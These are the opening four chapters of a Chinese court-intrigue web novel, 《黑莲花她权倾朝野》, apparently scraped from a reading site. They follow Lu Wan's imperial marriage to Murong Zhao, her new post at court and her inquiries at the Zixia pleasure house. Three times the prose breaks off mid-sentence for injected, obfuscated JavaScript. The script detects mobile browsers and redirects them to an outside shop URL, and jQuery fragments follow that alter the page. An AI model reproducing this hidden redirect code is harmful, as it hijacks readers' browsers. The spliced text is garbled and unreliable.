《黑莲花她权倾朝野》 1. 楔子 正值阳春三月,京城街头处处可见卖鲜花的小摊,还有放纸鸢的孩子。 几个六七岁的孩子各自牵着纸鸢,一边打闹一边唱道: “日与月,共争辉;华光万里遍经纬。 梧桐木下凤凰生,日中乌鸟何处归?” “哟,小朋友,唱的什么呢?”燕王世子慕容昭途径此处,见这几个小朋友唱得起劲,俯身笑着问道。 旁边一卖黄角兰的妇人见这位公子衣着气度不凡,恐是哪位达官贵人,便一把揪过自家女儿,厉声道:“书书不念,剑剑不练。这些有的没的倒是学得挺快!” 慕容昭摇头失笑,从袖口摸出一把栀子糖,道:“大姐不必紧张。我只不过听那词有趣,随口一问。今天本公子有喜事,这些算是分给孩子们的喜糖,沾沾喜气,压压惊。” 妇人见面前的这位公子眉眼含笑、模样正派,言语又和善,这才放松了警惕,笑着道谢。妇人怀中的小女孩瞪大眼睛望着慕容昭,半晌道:“大哥哥长得好俊呐。” 于是又挨了她母亲一脑瓜崩。 慕容昭笑得前仰后合,殊不知身后已站了一人。 “臭小子,你又有哪门子喜事?不在大理寺,跑到这扰民来了?” 来者一身道袍,手持拂尘,分明是青年样貌,却叫人辨不出年岁。此人正是慕容昭的师父,尘星道长。 “师父,我是真有喜事。”慕容昭直起身子认真道,“正正好三年,一天不多,一天不少。我今日进宫找了天子,求他老人家为我和陆娘子赐婚。” 尘星道长脚步一顿,叹道:“罢了,你们父子俩一个德行。” 三年前,云雾山灵虚观的玄贞道长仙逝。玄贞是尘星的师叔,慕容昭自然要随师父上云雾山,出席师叔公的葬礼。 据说这位玄贞道长活了两三百岁,终于得道飞升。葬礼上人人都道是喜事,只有玄贞唯一的俗家弟子,也就是明华公主,一脸悲痛。 慕容昭不禁想到,若是尘星道长哪日得道飞升,自己也无法强颜欢笑。毕竟是陪伴多年的长辈,从此便再也见不到了。 再没有了观礼的兴致,慕容昭给师叔公上了两柱香,便从偏门出了礼厅,漫无目的地在灵虚观内走动。 大楚不尚佛,历代皇室祈福清修均前往道观。灵虚观位于京城城郊,初代观主又是隐退的一位开国功臣,自然颇得皇室青睐。这么多年来,灵虚观一直是大楚规模最大的道观,也是香火最旺的道观。 慕容昭自从七岁那年随师父入京后,除了东宫给太子伴读,便是在灵虚观习武。 因而灵虚观虽设有阵法,慕容昭漫步期间却如同在漫步在自家小院,无甚稀奇。 可偏偏稀奇的事情出现了。 在一片碧墙蓝瓦间,慕容昭听见了女子的哭声。 少女一身素白,头带幅巾,站在玄贞道长的寝宫前,倚着一株梅树,哭得肝肠寸断。 慕容昭正好奇,为何这姑娘在观内却不去葬礼。那姑娘哭泣间抬头看见慕容昭走来,不知为何深深地望了他一眼,随后“哇”地一声吐出一滩鲜血,一头向下栽去。 慕容昭下意识蹿上前,一把接住了这位姑娘。恰巧观内的钟声响起——午时已至。可这钟声却像是在他脑子里敲的,震得他头晕目眩,以至姑娘望向他的那一眼始终挥之不去。 人接到怀里,慕容昭才发现这位姑娘穿的是上品的缎料,应是哪家大户的小娘子。虽是一身素白,面色也苍白如纸,却难掩眉眼间的丽色,反倒淡极生艳。 脉象杂乱虚浮,慕容昭志不在医,和尘星道长学的这点三脚猫医术自然诊不出这等疑难杂症。 可小娘子右手手腕内侧向下一寸那颗猩红的血痣慕容昭却错认不了。 这是“斗雪红”留下的毒眼。 斗雪红是无解的剧毒,下毒者以针沾毒扎入经脉,扎针处留下血色红印。中毒者三个时辰内毙命,死前痛苦万分。 身中斗雪红却未丧命只有一位,公主府的陆绾。 陆家遭难的那一年,陆绾尚襁褓,被人下了斗雪红之毒,是玄贞道长穷尽一生所学设法压制毒性,才救了陆绾一命。 眼下,这陆小娘子恐怕是旧毒复发,性命垂危。 慕容昭抱着人直奔灵堂喊师父。尘星道长和明华公主两人一番手忙脚乱,依着玄贞道长的法子,总算是又从阎王那抢回陆绾的一条性命。 回府后,尘星正要问慕容昭是怎么遇见了陆家的小娘子,却见自己的好徒弟扑通一声直愣愣地跪下了。 “师父……徒儿好像,在师叔公的葬礼上……”慕容昭那时刚及弱冠,脸涨得通红,吞吞吐吐,始终说不出那后半句。 尘星眼皮直跳,并未打断慕容昭,耐心地等着那后半句惊人之语。 终于,慕容昭像是豁出去了,大声道:“师父,我想娶陆家的小娘子陆绾!” 这一声中气有些足得太过头了,仿佛声音越大就越能掩盖他的心虚。 这一声将尘星也震了个五雷轰顶。 陆绾何许人也?文信侯独女,亦是孤女。稍微长点心眼的都能猜到,陆小娘子襁褓时被人下毒,多半是当今天子的手笔。 从前的天子并非太子,而是滕王。直到他的兄长,太子圭,突发恶疾薨逝后,滕王才入东宫做了太子。 没过两年,太子圭的好友陆传正家门遭难,夫妇双双命亡,襁褓中的陆绾身中剧毒。 陆绾福大命大,得贵人相救,一直和太子圭的女儿——也就是明华公主,一同养在太后身边,成年后自然也在公主府供职。 可昭儿是太子伴读。如今太子与公主又有相争之势,这门亲事如何能成? 尘星苦口婆心,将其中曲折一一道来。可慕容昭既不点头也不摇头,在师父面前长跪不起。 尘星便道:“也罢也罢,你和你爹在这种事情上都是犟种。若你三年后心意不改,我便什么也不说了。” 如今三年已过,没想到这小子直接找上天子求指婚了。 “你找上天子,天子也是要去找陆娘子商谈的,此事也未必能成。罢了罢了,我不再说你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385969|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你自己写一封信送去幽州告知王爷,我没脸和你爹交代。”尘星无奈道。 “写便写,我三年前就想写了。”慕容昭道,“再说了,爹当年不也是如此?爹和娘恩爱着呢。” 尘星忍不住道:“你娘点了头,你爹才和她成婚的。” “师父方才不也说了,此事若成,必定是陆娘子在天子面前点了头吗?”慕容昭道。 “就算陆娘子暂时不喜欢我也没关系,只要她愿意嫁给我就好——就算她暂时不愿意嫁我,也要让她知道我对她有意,是个可能的人选。” 陆娘子温柔和善,在宫中时就素有美名,城中倾慕者更是数不胜数。若是再晚几步,陆娘子嫁作他人妇,可就迟了。 慕容昭继续道:“先把人娶回来,爱我也好恨我也好,总归是做了我的妻子。再说了,若无婚约,我要如何才能与公主府的女官培养感情?” 尘星见慕容昭越说越起劲,胡子直抽。 好不容易慕容昭才结束了这番长篇大论。春风和煦,隔街又传来孩童们的歌声。 “日与月,共争辉;华光万里遍经纬。 梧桐木下凤凰生,日中乌鸟何处归?” “这到底是什么童谣?从前也不曾听过。”尘星沉思道。 慕容昭道:“我在卖黄角兰的那条街上便在想了。那地方离公主府不远。这歌谣多半也有些来历。” 日与月,便是“明”字,再加上“华光万里”,合起来应当是“明华”;日月争辉,也可以说是公主与太子争权。 大楚崇尚花鸟。可巧公主与陆绾昔日在宫中的寝殿叫做“梧桐居”;一国储君如冉冉升起的朝阳,因而东宫又叫“金乌殿”。 这童谣其实是首反诗。 孩童可不会懂这些弯弯绕绕,卖黄角兰的妇人纵使懂也不会教。 所以这童谣,多半是从公主府传出来的。 “也不一定。”尘星道,“公主虽有野心,却不曾明面上与太子撕破过脸皮。若是有心之人想挑起纷争、激化矛盾,也不无可能。” “可那有心之人,做这种事能捞到什么好处?”慕容昭不解道。 尘星只是隐隐猜测,并无十足把握,因而并未答话。 师徒一路沉默至王府门前,尘星竟突然颇为无奈地笑了:“昭儿,没准你的婚事还真能成。为师便祝你得偿所愿吧。” 一片浓云飘过京城上空,煦风转凉,隐隐有风雨欲来之势。卖花的妇人纷纷收摊,孩童的歌声也在风中被吹散。 一页诗文被吹入城西公主府内,陆绾伸手截下。 天色已暗,陆绾拨亮烛灯,几点火星噼里啪啦溅上案几。 这字迹陆绾认得,是自己身边的侍女点翠的,而点翠也算是公主府的暗探。 陆绾起身拉上窗户,捏着那页字迹尚未干透的诗文沉思片刻,冷声对窗外道:“点翠,查一查这首童谣的源头。” 高挑的绿衣侍女并未多言,只重新接过那页诗文塞入袖中,从院中三两步跃上屋顶,消失在层层飞檐角脊之间。 2. 赐婚 明华公主虽未出嫁,却在城西有单独的府邸。侯府冷清无人,陆绾身为公主府女官,总管府内暗探,因而常住在公主府内。 夜里刚落过一场雨,晨起还有些凉意。点翠仍未查到新的消息,陆绾披上外衫,照例先去书房办公。 二十年前,东宫太子圭与太子妃谢氏双双于夜间突发恶疾,五岁的女儿熊焕因在灵虚观修行躲过一劫。东宫上下因此皆被处置,此事也成了不可说的秘案。 近几日,暗探却查到昔日东宫宫女沐风的下落。 若情报无误,沐风当还活着。其家人一夜发迹,改名换姓做了富商;而沐风本人,据说被家人卖入了京城最大的花楼——紫霞楼。 “明月,可是又有新的消息?” 陆绾本在整理手头的暗探公文,闻声抬眸。 来者正是明华公主。公主与陆绾自幼一处长大,情同姐妹,彼此以小字相称,更不管那些繁文缛节,大步直入陆绾书房。 公主生得龙睛凤目,随了太子圭的一张阔面,不笑时威仪棣棣,笑起来则是爽朗明快。 陆绾将沐风的消息一一禀明。 公主沉思片刻,道:“沐风姑娘我有印象,我小时候她经常抱我。在我印象里,她的本性应是不坏的,若能找到她,说不定能问出些什么。” 陆绾见公主已翻起案几上批好的奏文,便搁了朱笔,道:“东宫旧案里,最大的突破点本应是侯府遇刺案。当年除了我之外,全府上下无一幸存,不可能一点痕迹也没有。” “但偏偏就是没有。”公主道,“刺客全部爆体而亡,查不到身份更查不到亲眷。所以,我们只能先从其他东宫旧部的下落入手。” “其实,我有时候异想天开,要是能拿到大理寺东宫案和侯府案的秘密卷宗就好了。可惜大理寺没有我们的人,也根本插不进。”陆绾叹道,“罢了,就当我是痴人说梦。” 公主握住陆绾的手,宽慰道:“明月,我们总会查到的。我不信,来日若我登上皇位,还能有什么事是我查不出来的。” 陆绾忙道:“明华姐姐,这话在姐妹间说说倒也无妨,只是最近恐怕要收敛锋芒。西城区流传的新童谣我疑是有人想使挑拨离间之计。若是大业未竟就先被扣上了谋逆的帽子,便被动多了。” 公主目前对外的野心只是谋权,谋权与谋逆一字之别却差之千里。 公主道:“放心,我有分寸。我知你派了人暗中去查这童谣的来头。不过我估计,想找到实际的证据怕是难如登天。” 话虽如此说,两人心中都隐隐有些猜测。激化公主与太子之间的矛盾,给公主扣上谋逆的帽子。能在此事中获利的人可不多。 两人想到同一个名字,正要异口同声地说出来,门外忽来一人相报,说宫里来了人,要陆绾出去接旨。 陆绾心中惊奇,匆忙间与公主对视一眼,放下手中奏文快步迎出去接旨。 送旨的是天子身边的冯内侍。冯内侍夹着尖细的嗓音抑扬顿挫地念了一大段,总结起来就是——燕王世子慕容昭倾慕她陆绾许久,陛下被其深情打动,降旨赐婚。 公主听得眉头紧锁。陆绾深吸一口气,确认自己确实是醒着,上前将圣旨接了。 冯内侍冷哼一声,顺带踢了门槛一脚,又道:“天子召你进宫,有事相商。” 天子没有约在正厅,而是在御花园的湖心亭处等候。 说是湖,其实不过是个莲花池。莲花未开,天子正捋着胡须凭栏赏看对岸亭亭的白玉兰。 陆绾跪下行礼,秋色绫裙外珍珠色的大袖长衫在地上散开下摆,上面玉兰花瓣的绣纹栩栩如生。 天子上前几步,搀起陆绾。 “绾儿长得真像你母亲,这些年可是出落得越发水灵了。”天子年近半百,一张阔面脸倒是和那尖脸的殷皇后养出了夫妻相,也是令人惊奇。 陆绾恭谨行礼。 天子望着陆绾,很是琢磨了一番该如何开口,最后温和道:“燕王世子、现大理寺少卿慕容昭,昨日求朕为他说媒。慕容世子自称三年前对你一见钟情,暗中恋慕许久,朕想问问你的意思。” 陆绾垂首,摩挲一番指尖。 这圣旨都已经下了,还问什么她的意思。 燕王独子,太子伴读。陆绾身为公主府女官,自然与他私下不相熟。 陆绾抬头迎向天子审视的目光,波澜不惊道:“三年前,慕容世子在灵虚观救过臣女一命,臣女自是感激不尽。至于婚事,当听从父母之命。臣女失怙失恃,是陛下收留臣女于宫中,交由太后躬亲教养。陛下于臣女犹如养父,臣女的婚事依陛下的意思来便好。” 天子的笑容本就真不到哪里去,听了这番废话,愈发皮笑肉不笑,两只眼睛死死锁在她身上,道:“朕不爱听这些场面话。只要你一句,可还是不可。” 陆绾横下心道:“于臣女而言,无可无不可。” 天子盯着她半晌,忽然笑了两声:“好一个无可无不可。” 陆绾没接话,只听天子又道:“我知你志不在闺帷,朕替你允了这婚事,你莫要记恨于朕。朕给你在大理寺挂个职位可好?” 陆绾忙道:“臣女谢陛下圣恩,何来记恨一说?” 大楚求官不易,需有人引荐方能步入仕途。因而世家大族多养幕僚。女子虽可读书习武,却多为幕僚,未曾见哪位女子真的做了朝中女官。 公主本有意举荐陆绾,做这大楚第一位朝中女官。可公主身陷权力漩涡正中心,实在不适合出这个风头。 陛下愿意给朝中官职,那自然是要的。只是不能直接去大理寺——若是真去成了,恐怕那些陈年卷宗就要彻底被销毁了。百花宴在即,挑一个方便在各部走动的小职位便好。 陆绾坦然道:“陛下愿意抬举,臣女感激不尽。只不过,百花宴在即,礼部事务繁杂,朝中上下为此操劳。臣女前去光禄寺挂职,恐更能为陛下分忧。” 天子脸上的褶皱终于舒展开来:“想要几品?朕明日就拟旨。” 陆绾不卑不亢道:“步履踏实,方能服人。典簿便可。再往上,恐登高跌重。” 天子点头道:“圣旨朕明日会拟好。至于具体婚期,你们自己商议着定。你的外祖管晁曾身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385970|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居相位,今日看来,你日后恐怕也是将相之材。” 陆绾忙道:“臣女不敢当。” 天子又客套了几句,托陆绾代他去太极殿的太后那请安,终于放人离开。 五日后,陆绾如愿出任光禄寺典簿。 三月的京城空气里混杂着各式花香,呼吸都带着些许甜味。陆绾穿着浅绿色官袍,坐在前往公廨的马车内,心情一片明朗。 急促的马蹄声打破了清晨的宁静,一匹赤色血汗马嘶鸣着横在车前。 陆绾正欲掀帘,只听车外随行的侍女丹砂厉声道:“不知世子拦停典簿上值的马车有何贵干?” 陆绾伸出去的手僵在了半空。 “陆典簿上任第一天,未婚夫君送你一程,不算扰人清梦吧?” 话音刚落,车帘哗地一声被刀柄挑开。 慕容昭一手攥住缰绳,一手反握刀鞘,倾身向马车探来。 一袭朱红缺胯袍,头戴赤金血玉冠。眉骨被晨晖照亮,在眼睫处投下一小片阴影。似是唇角含笑,眼底情绪又不似欢喜。 陆绾定了定神,瞟了一眼门边的刀柄,语气平淡道:“百花宴在即,光禄寺事务冗杂,陆某不似阁下清闲。有什么话尽快说,就不劳烦相送了。” 慕容昭闻言也不恼,只道:“不知公主府可有收到聘礼与庚帖?” 原来是这个,陆绾这几日光惦记着新官上任,竟忘记给燕王府回帖了。 “我今日下值便来回帖。至于婚礼,选百花宴后的第一个吉日便可。”陆绾稍感惭愧,觉着面子上有些挂不住,在车内轻轻扯了把帘子。谁知慕容昭的刀柄又伸进来几分,将那帘子撑住。 “世子还有何事?” 陆绾正欲听他回话,慕容昭迟迟不语,神色间竟有几分犹豫和歉意。 陆绾心下忽然明了。 燕王早在风头最盛时自放边疆,也从未听说其子摆过什么世家大族的做派。 天子不过问她的意思便下旨赐婚,只怕也不是慕容世子的意思。 天子下了旨,召她进了宫,她也同意了这门婚事。可这三件事的先后却大有问题。慕容昭恐怕也猜到了,想解释询问,却有些无力。 看来天子反倒是最急着促成婚事之人。 婚约是推不掉了,与其道明事实,不如就此卖世子一个人情。 陆绾笑道:“世子宽心,我应允婚约是出于自愿,上任光禄寺典簿一职亦是如此。” 话音刚落,慕容昭似乎是笑了。陆绾还未看分明,却见红帘布盖头一样落下,与此同时,一个温热的油纸包落入怀中。 “大胆!你往车内扔了什么?”丹砂拔剑出鞘。 “何必这么紧张?”慕容昭的声音隔着帘布传来,比方才轻快了许多,“糕点而已。” “丹砂,不得无礼。”陆绾劝道。 陆绾打开怀中的油纸包,里面是几块热乎的红糖米糕。五瓣梅形的,是她爱吃的那家西市米糕店专用的模具。 她爱吃的东西,慕容世子又是从何得知? 恍神之际,慕容昭轻笑一声策马远去。 3. 上任 光禄寺卿一职空悬,少卿只有一位,也就是负责执行此次百花宴具体事项官员——林文谦。 林文谦此人清名在外,虽政治上不站队,但做官为人极有原则。不逢源不攀附,从八品县尉一步步擢升至四品少卿,是个有能耐的。 “陆典簿,按惯例来讲,典簿一职本只需掌管文书事宜,但此次百花宴光禄寺能派出的官吏都动用了,人手依然紧缺,可能还得劳烦陆典簿出外勤。”林少卿道。 京城处处栽花,因而又名“华京”。华京三十年一办的夜宴便叫“百花宴”。 百花夜宴中,华京的整个核心城区都是宴席场所。介时各地世家携资入京,京内世家亦开放自家园林,坊间设立各式吃食自取点,旨在君民同乐。 林少卿拿来一卷城区设宴图。皇宫为宴席核心区,往外东南西北分设为“桃、李、梨、杏”四区,四区内开放园林分别隶属于华京四姓——殷、李、王、杜。 桃区赏歌舞书画,设礼乐台;李区设小吃夜市;梨区设文斗台,主诗词歌赋;杏区设比武台,以武会友。 “杏区兵部派了人手帮忙,梨区也有吏部的人手,李区户部在帮忙审核。现在还剩下桃区,除朝廷拟定的乐师外还需走访民间艺人。”林少卿道。 这走访民间艺人、拟定歌舞名单的事,就分配给了陆绾。 “民间艺者不拘出身,但品性才艺需仔细考量。”林少卿叮嘱道,“民间卖艺者生存艰难,登上礼乐台,也许就改变了他们的一生。” “陆绾谨记!” 陆绾没有亲历过百花宴,但听说过其繁华盛大。从小到大盼这传说中的盛宴盼了十几年,未曾想到自己竟成了操办的官吏。 在光禄寺看了半日历次百花宴的公务文书,拟了个初步方案,陆绾回公主府给燕王府回了帖,带丹砂与画屏上街去了。 书画好办,精通书画的人不说出身名门,至少有个体面身份,贴出告示自有人找来。 可民间真正好的歌舞,从业者往往地位底下,甚至没有自由身。 京城最大的民间歌舞坊便是紫霞楼。有钱能使鬼推磨,更别说是活生生的人。紫霞楼中艺人卖艺与卖身的界限并不分明,生意自然是一等一的红火。 好巧不巧,那东宫侍女沐风的下落也需去紫霞楼查明。此去可谓是一举两得。 “小姐,这……这可是青楼。进去了恐怕对小姐的名声有损啊!”小侍女画屏拉住陆绾袖口,焦急道。 “怕什么,官吏办差而已。再说了,我名誉再怎么有损,他燕王府也不敢退婚。” 陆绾说着,提起袍摆一脚踏进了紫霞楼大院。 陆绾还是第一次来这种地方。且不论紫霞楼内里如何奢靡不伦,从外面看倒还有个体面模样。四四方方的朱红主楼,一共八层,四处雕栏连廊分别通往四座辅楼。 来客虽多,院内并不嘈杂喧嚷,只能听见各楼传来恰到好处的乐声与谈笑。 此处行人似乎也并无过多窥探他人隐私的举动。陆绾身为女官,走在街头常会吸引一些好奇的目光。可在这紫霞楼内,一身官袍足以让过往来客避之不及。 画屏几乎是贴在陆绾边上走。 陆绾摸了摸小姑娘的头发:“别害怕,你丹砂姐姐也在呢。” 画屏绞着手帕抬头看向陆绾,红着脸道:“两个姐姐都会武,就我不会,我是不是很没用?” 陆绾轻轻摇了摇头:“画屏自有画屏的用处。此番前去紫霞楼,还要劳烦眼光最好的画屏小姑娘和我一起选出色的艺人。” 陆绾的三个侍女中,点翠最为年长,读书最多武艺也强。虽然不爱说话,但最让人放心。丹砂主管账目,美丽泼辣,八面玲珑。而画屏年纪最小,一派天真。 画屏虽只有十二岁,却是陆绾在宫里亲自选中的。画屏擅长的都是些闺中女子的传统技艺,而这恰巧是陆绾不擅长的。 侯府这么多人,不必强求侍女去学自己不喜欢不擅长的东西,因而陆绾并没有要求画屏习武。 画屏点点头。 安抚好小侍女,陆绾大步直奔主楼。 “上官,请问是听曲还是狎妓?”一位涂满脂粉的长脸嬷嬷迎上来。 丹砂正欲开口,却见那嬷嬷眼珠子往自家小姐全身上下转了一道。 “哎呦呦,是位女上官,小奴有眼不识泰山,多有冒犯,该打该打!”嬷嬷说着,装模作样地拍了两下自己的长脸,“小厮也是有的,保证干净。公主殿下的几个面首就是从我们这挑的……” 嬷嬷音量高,语调又极为婉转夸张,引不少人侧目。 “我们家大人还没发话呢。再啰嗦——”画屏上前一步护在陆绾前边,话说了一半却被陆绾轻轻捏住了肩膀。 陆绾摇摇头,道:“画屏,莫要无礼。” 据陆绾所知,公主虽时常大放厥词要养一屋子面首,却从未真的踏足过烟花柳巷之地。 而这位嬷嬷言语间似乎另有他意,更像是抓紧了机会要同自己搭话,“公主”两个字更是咬得格外的重。 陆绾正思忖如何搭话,却听柜台后珠帘晃动,一位红衣女子步履婀娜地走来。 “徐妈,你还是下去吧,别得罪了贵客。” “是,方老板。”长脸的徐妈惮惮往后退了几步。 方老板身材娇小,唇脂的颜色极深。两道绿眉毛勾得又尖又细,飞入鬓角。 “陆上官请随我去内屋坐。” 三人随着方老板上了二楼包间。一番布茶后,方老板使了个眼色,紫霞楼婢女尽数退至厅外。 方老板见丹砂、画屏没有挪步的意思,挑眉看向陆绾。 “这两位是配合我办差来的,有什么话,可以当着她们的面说。”陆绾道。 “那我就直入主题了。”方老板笑得有些夸张,“早就听闻陆小姐做了大楚第一女官,在光禄寺任职。此次前来,是来找百花宴艺人人选的吧?” “正是。” “不知上官是要找琴女、歌女,还是舞女?” “听闻紫霞楼有一位擅长伞舞的女子,我要见她。”陆绾直白道。 “桃夭啊。今日可不行。”方老板故作惋惜道。 “不知桃夭姑娘何日得空?” “今年都不得空。” “方老板,这是官府办差,你此话何意?”丹砂怒道。 “不得空就是不得空。桃夭姑娘被王家二公子包了一整年。两人现在就在楼上,不信自己去看。” “你说的那王二公子可是王翀?”陆绾问。 王家是太后母家,王翀的父亲王甫为当朝御史大夫,亦是梨花榭的主人。 据陆绾所知,王家虽有纳妾的风气,但规矩也极为刻板森严。娶妻前不得嫖赌纳妾,娶妻后纳妾也需经由正妻之手。 王翀尚未婚配,出现在这里就是违背家规,更别说包舞女了。 “除了他还能有谁?”方老板说着又添了盏茶,“哎呀,真是女大不由人。桃夭姑娘本不至于卖身,奈何被王公子看上了。太后的母族,紫霞楼可不敢惹。” “再说了,要是桃夭真的被王家赎去作妾,也算是捞着铁饭碗一个,善终了。”方老板幽幽道,“依我看,陆上官还是换个人选吧。” “方老板想举荐谁?”陆绾暂时压下不满,耐着性子问。 “绿绒的琵琶很好,客人最爱点她。上官要不要听听?” 方老板拍手,一个妩媚的年轻姑娘扭着腰从屏风后绕出来。 绿绒抱着琵琶,一脸娇羞地行礼:“小女绿绒见过上官。” 陆绾观其神色便觉不对,这绿绒只怕学的是招待纨绔公子的那一套。民间如何是民间的事,但若是要百花宴带头鼓吹如此风气,陆绾绝不允许。 方老板见陆绾没有表示,又道:“绿绒模样是拿得出手的,琵琶更是好,上官听听看?” 紫霞楼中多是苦命女子,当面拒绝怕绿绒难堪。陆绾凝神片刻,同意了。 绿绒弹琵琶曲更像是琵琶舞。虽说音都对上了,但并无演奏者自己的演绎。绿绒的听众大概也不是为了听曲而来,而是为了看一曲中绿绒婀娜摇曳的身姿。 这样的表演对好色的纨绔子弟来说是趣味,可陆绾三位女子看着有些坐立难安。 绿绒眨眨眼睛,娇娇地喘了一声,伸长脖颈,一个转身将琵琶背至身后。 绿丝外衫顺势落地,露出一片朱色肚兜和背上一对蝴蝶骨。 画屏没见过这种场面,吓得抽口气,险些惊叫出啦,忙用手捂住嘴。 陆绾冷淡地扫了方老板一眼。 “怎么样,这招反弹琵琶,可还不错?”方老板道。 “哪里好了!她的琴技不过中上,玩的都是些形式上的花架子,恶俗……恶俗死了!”画屏忍不住道。 “啪”的一声,绿绒摔了琵琶,喝道:“你个小丫头片子懂什么!人事都未尝过的,倒说上恶俗了。真正恶俗的你还没见着呢!” 说着,绿绒作势要解肚兜。 陆绾忍不下去了,顺手摔了茶盏,厉声道:“她是我带来专门评定艺人水准的随从,岂能容你放肆!” “你出言不逊,可见不懂礼数;一有事便摔琴,可知对音乐也毫无敬畏之心。平时想必是跋扈惯了,又不知廉耻,还妄想丢人丢到百花宴上……白日做梦!” 方老板闻言起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385971|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扬手给了绿绒一个耳光。 绿绒变脸速度也堪称一绝,马上含泪跪下。 陆绾不想看这苦情戏,起身绕过两人,大步向外走去。 “上官……留步!”方老板跟上来,“若是不满意绿绒,我们还有别的人选,毕竟,我们可是这京城里最大的民间歌舞坊呢。” 陆绾冷冷道:“我今日不想看了。紫霞楼严格说来算是灰色地带,如果想查,也不过上面一句话的事。方老板既知道我的身份,不妨猜猜看我有没有这个能耐。” 方老板没敢接话。 陆绾继续道:“紫霞楼做大,不过二十年的事。我知方老板也想洗白上岸——至少明面上贴点金,说出去也好听。不过,怎样洗,可不是你说了算。” 方老板赔笑称是。 陆绾没要人相送,兀自领着丹砂、画屏出了包间。 丹砂道:“小姐,既然都来了,我们不妨顺道去楼上瞧瞧那王二公子与桃夭是怎么回事。这事应该不简单。” 让王二公子放人其实也简单。御史台的谢大人是公主亲舅舅,弹劾王甫一笔,王甫自会去收拾他儿子。 但得罪王甫于公主而言并无益处。王甫立场中立,不愿被卷入皇储之争,时常骑墙摇摆。一直拘着嫡子不入仕,想来也是怕额外惹事。 “走,去看看。”陆绾当机立断,调头上楼。 二楼是一圈回廊,东西南北八个会客包间,三楼则是一整个大通间,隔绝了楼下的繁杂。 可这通间的面积不对,比整个紫霞楼小了一圈。陆绾在屏风间打了几个转,拉开一扇柜门。 果然是假柜,门中另有暗道门。 “真的要进去吗?听别人做那事的墙角……是不是不太好?”画屏犹豫耳语道。 陆绾正欲解释,想到画屏年纪尚小,改了主意。 “你且在这柜子里守着,提防着人来。我与丹砂进去看看。” 暗道打了几个弯,尽头是一席垂下的纱帘。陆绾与丹砂在最近的拐角停下,贴墙而立。 “……爹不让我入仕,说好给我说亲,亲事也没成。他自己三妻四妾的好不快活,就知道天天拘着我!说什么当心坏了名声娶不着名门贵女——庶弟的媳妇儿都怀孕了,我这贵女一个也没捞着!” “公子会有的,何必急这一时?”女子声音温软,透着几分恐惧。 “急?你也认为是我心急?我都二十二了!我真搞不懂那老东西在想什么,先前是拖着我姐,说是要留给太子,结果等到二十四都没成,最后招了个赘婿……” 陆绾听着有几分明白了。王公子虽年岁长些,常年拘在家里,又不爱读书,还是个小孩心性。这次估计是负气进了紫霞楼,倒是和舞女唠叨起心事了。 只是可怜那舞女,没见过这种阵势,战战兢兢地斟酒附和,一句旁的话也不敢多说。 “……桃夭姑娘,你肯听我说这么多,可真好。”王翀听着有些醉了,“你知道吗,你长得可真像陆家小姐,跟她的画像几乎一模一样……只是身量差了点意思……” 陆绾听得心头火起,耐着性子没动作。 丹砂扯了扯陆绾袖口。 陆绾回头,见画屏也进了密道,口型示意有人。 陆绾和丹砂交换了个眼神,几步蹿上前,掀帘直入。 王翀正扯着桃夭的前襟,桃夭已是半个臂膀露在外面。 陆绾一个手刀砸向王翀的后脖颈,提着衣领子将人从桃夭身上拽开。丹砂上前捂住了桃夭的口鼻,示意她噤声。 陆绾虽毒入骨髓、气虚体弱,可也跟着公主学了几招保命的功夫,更是熟读武学典籍。她缺的是力量和耐力,偷袭个普通人当然不在话下。 桃夭瞪大眼睛看着王翀倒下,点点头,整理好自己的衣服。 画屏马上跟进来,被陆绾一把捞过。 陆绾看了眼桃夭,正欲问话,可事态紧急,脚步声越来越近。 “那边的窗户出去,一直通菜地,有小门可以出去。”桃夭轻声道。 丹砂点点头,推开窗户。 陆绾抱着画屏一跃而出,丹砂紧随其后。 “桃夭,刚刚好像听见这边有什么声响?”巡逻的老嬷嬷眯眼道。 “回罗妈妈,不过是王公子喝醉了。” 罗妈妈瞟了一眼仰躺在地上的公子哥,又看了看桃夭凌乱的衣裙。 “哼,你倒是好福气,还不扶贵客上榻?” 罗妈摔帘而出,嘴里还碎碎地念叨。 “那姓徐的就是个没眼色的,还以为有什么风骨,见上官来了不还是巴巴地迎。亏我还真以为她家桃夭不陪客,原来是挑上了……呸!” 4. 桃夭 陆绾带着两个侍女绕了小路,回府时已是日暮。 点翠正在书房等候。 “小姐,查到童谣是由一个卖风筝的爷爷教给孩子们的。我去跟了这个老人家,不是西城人,收摊后绕了一大圈路,最后进了城东桃花楼的偏门。” 桃花楼是殷家的府邸,目前桃花楼的主人是殷皇后的兄长,金吾卫大将军殷其雷。 